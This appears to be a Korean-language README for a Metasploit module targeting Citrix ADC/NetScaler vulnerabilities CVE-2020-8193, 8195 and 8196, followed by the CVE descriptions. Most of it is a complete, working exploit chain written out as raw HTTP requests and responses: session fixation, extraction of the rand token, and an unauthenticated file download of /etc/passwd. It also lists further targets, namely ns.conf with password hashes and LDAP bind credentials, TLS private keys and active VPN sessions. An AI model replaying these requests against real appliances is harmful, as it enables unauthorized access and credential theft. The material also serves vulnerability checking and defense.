zeop-cybersec/citrix_adc_netscaler_lfi이 Metasploit-Framework 모듈은 기업이 최신 Citrix 취약점인 CVE-2020-8193, CVE-2020-8195 및 CVE-2020-8196 (2020년 7월 8일 공개)을 확인하는 데 사용할 수 있습니다.
이 Metasploit-Framework 모듈은 기업이 최신 Citrix 취약점(2020년 7월 8일 공개)을 점검하는 데 도움을 주기 위해 사용될 수 있습니다.
Donny Maasland는 2020년 7월 8일 공개 보고서에서 취약점이 어떻게 악용될 수 있는지 논의했습니다.
2020년 7월 10일 기준으로, RIFT는 이 취약점을 사용하여 취약한 인스턴스에서 유효한 VPN 세션을 추출할 수 있음을 확인했습니다.
Twitter에서 더 자세히 읽어보세요:
먼저 세션 ID를 얻어야 합니다.
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
Host: 192.168.7.2
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
X-NITRO-USER: LCGSfX
X-NITRO-PASS: fYiZon
Content-Type: application/xml
Content-Length: 44
Connection: close
<appfwprofile><login></login></appfwprofile>
HTTP/1.1 406 Not Acceptable
Date: Tue, 14 Jul 2020 09:13:23 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Set-Cookie: SESSID=b4f86e3ab3df3f666eaf0b618502a7b5; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-XSS-Protection: 1; mode=block
Content-Length: 4489
Connection: close
Content-Type: application/xml; charset=utf-8
그런 다음 세션을 수정해야 합니다. 이 단계를 활용하여 rand 값을 얻을 수 있습니다( /menu/stc에 대한 추가 요청을 절약할 수 있습니다).
GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
Host: 192.168.7.2
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Cookie: SESSID=b4f86e3ab3df3f666eaf0b618502a7b5;
Content-Type: application/x-www-form-urlencoded
Connection: close
HTTP/1.1 302 Found
Date: Tue, 14 Jul 2020 09:13:27 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: is_cisco_platform=0; expires=Fri, 09-Jul-2021 09:13:27 GMT; Max-Age=31104000; path=/; HttpOnly
Location: /menu/neo
X-XSS-Protection: 1; mode=block
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8
리디렉션을 따라야 합니다.
GET /menu/neo HTTP/1.1
Host: 192.168.7.2
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Cookie: SESSID=b4f86e3ab3df3f666eaf0b618502a7b5;
Content-Type: application/x-www-form-urlencoded
Connection: close
그리고 응답 본문에서 rand 값을 가져옵니다.
HTTP/1.1 200 OK
Date: Tue, 14 Jul 2020 09:13:30 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: startupapp=neo; expires=Fri, 09-Jul-2021 09:13:30 GMT; Max-Age=31104000; path=/; HttpOnly
Vary: Accept-Encoding
X-XSS-Protection: 1; mode=block
Content-Length: 1590
Connection: close
Content-Type: text/html;application/octet-stream;application/ecmascript;application/json;application/xml;charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XDEV_HTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Citrix ADC - Configuration</title>
<script type="text/javascript">var neo_logout_url = "/menu/lo?rand=478257144.1894793017920341";</script>
<script type="text/javascript">var neo_machine_sysid = "450092";var rand = "478257144.1894793017920341";var partition_dir = "";var is_ha_supported_in_gui = "true";var login_warning = "";</script>
<script type="text/javascript">var global_data = "{global_data}";</script>
<link href="/admin_ui/rdx/core/css/rdx.css" rel="stylesheet" type="text/css"/>
<link href="/admin_ui/neo/css/neo.css" rel="stylesheet" type="text/css"/>
<!--[if IE]> <style type="text/css"> .form td input[type="submit"] { width: 50px; } </style> <![endif]-->
<script type="text/javascript" src="/admin_ui/rdx/core/js/rdx.js"></script>
<script type="text/javascript" src="/menu/branding"></script>
<script type="text/javascript" src="/menu/neoglobaldata"></script>
<script type="text/javascript" src="/menu/neoa?gui_token=478257144.1894793017920341"></script>
<script type="text/javascript" src="/admin_ui/neo/js/neo.js"></script>
<script type="text/javascript" src="/admin_ui/neo/js/epa_expression_data_win.js"></script>
<script type="text/javascript" src="/admin_ui/neo/js/epa_expression_data_mac.js"></script>
</head>
<body class="ns_body">
</body>
</html>
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
Host: 192.168.7.2
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Cookie: SESSID=b4f86e3ab3df3f666eaf0b618502a7b5;
X-NITRO-USER: PjdFbLCc
X-NITRO-PASS: xyFoLmXD
Content-Type: application/xml
Content-Length: 44
Connection: close
<appfwprofile><login></login></appfwprofile>
HTTP/1.1 406 Not Acceptable
Date: Tue, 14 Jul 2020 09:13:33 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-XSS-Protection: 1; mode=block
Content-Length: 4489
Connection: close
Content-Type: application/xml; charset=utf-8
POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
Host: 192.168.7.2
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Cookie: SESSID=b4f86e3ab3df3f666eaf0b618502a7b5;
X-NITRO-USER: UGjkHm
X-NITRO-PASS: NbIEBHxw
rand_key: 478257144.1894793017920341
Content-Type: application/xml
Content-Length: 31
Connection: close
<clipermission></clipermission>
HTTP/1.1 406 Not Acceptable
Date: Tue, 14 Jul 2020 09:13:37 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Expires: -1
Cache-Control: private, must-revalidate, post-check=0, pre-check=0
Pragma: private
Content-Disposition: attachment;filename="passwd"
Accept-Ranges: bytes
Content-Length: 465
X-XSS-Protection: 1; mode=block
Connection: close
Content-Type: application/octet-stream
root:*:0:0:Charlie &:/root:/usr/bin/bash
nsroot:*:0:0:Netscaler Root:/root:/netscaler/nssh
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
nsmonitor:*:65532:65534:Netscaler Monitoring user:/var/nstmp/monitors:/usr/sbin/nologin
공격자는 이 취약점을 악용하여 취약한 Citrix 시스템에서 민감한 정보를 얻을 수 있습니다.
Citrix Netscaler 12.1 build 55.18에서 관찰한 내용에 대한 간략한 개요입니다.
/nsconfig/ns.conf 읽기 가능:Netscaler의 구성 파일입니다. SSH로 Netscaler에 연결할 수 있는 사용자(nsroot 사용자 포함)의 해시를 포함합니다. 이 파일에는 Active Directory를 바인딩하는 데 사용되는 정보와 같은 다른 정보도 포함되어 있습니다(예시).
몇 가지 흥미로운 출력:
set system user nsroot 35b7a39540c7f42a4c85455a750fed309e506d6d83fcaae83 -encrypted -hashmethod SHA1
add authentication ldapAction 192.168.7.3_LDAP -serverIP 192.168.7.3 -serverPort 636 -ldapBase "DC=prod,DC=contoso,DC=com" -ldapBindDn [email protected] -ldapBindDnPassword 36e2fd1867ca398c68f45c7c54dfa56988c3464ff2a3acf48887091292fb58f5 -encrypted -encryptmethod ENCMTHD_3 -ldapLoginName
add ssl certKey ns-server-certificate -cert ns-server.cert -key ns-server.key
/nsconfig/ssl/ns-server.key (및 기타 모든 인증서 파일) 읽기 가능:TLS를 위한 인증서 키입니다.
/var/nstmp 디렉토리 나열 가능:일반적으로 LFI에서 디렉토리를 나열하는 것은 흔하지 않습니다. 공격자는 이를 사용하여 파일 시스템에서 "길을 찾을" 수 있습니다.
/var/nstmp디렉토리에는 활성 세션 목록이 포함되어 있습니다.
CVE-2020-8193: 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 및 10.5-70.18 이전 버전의 Citrix ADC 및 Citrix Gateway와 11.1.1a, 11.0.3d 및 10.2.7 이전 버전의 Citrix SDWAN WAN-OP에서 부적절한 접근 제어로 인해 특정 URL 엔드포인트에 대한 인증되지 않은 접근이 가능합니다.
CVSS 3.x 심각도 및 지표:
CVE-2020-8195: 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 및 10.5-70.18 이전 버전의 Citrix ADC 및 Citrix Gateway와 11.1.1a, 11.0.3d 및 10.2.7 이전 버전의 Citrix SDWAN WAN-OP에서 부적절한 입력 검증으로 인해 낮은 권한 사용자에게 제한된 정보가 공개됩니다.
CVSS 3.x 심각도 및 지표:
CVE-2020-8196: 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 및 10.5-70.18 이전 버전의 Citrix ADC 및 Citrix Gateway와 11.1.1a, 11.0.3d 및 10.2.7 이전 버전의 Citrix SDWAN WAN-OP에서 부적절한 접근 제어로 인해 낮은 권한 사용자에게 제한된 정보가 공개됩니다.
CVSS 3.x 심각도 및 지표: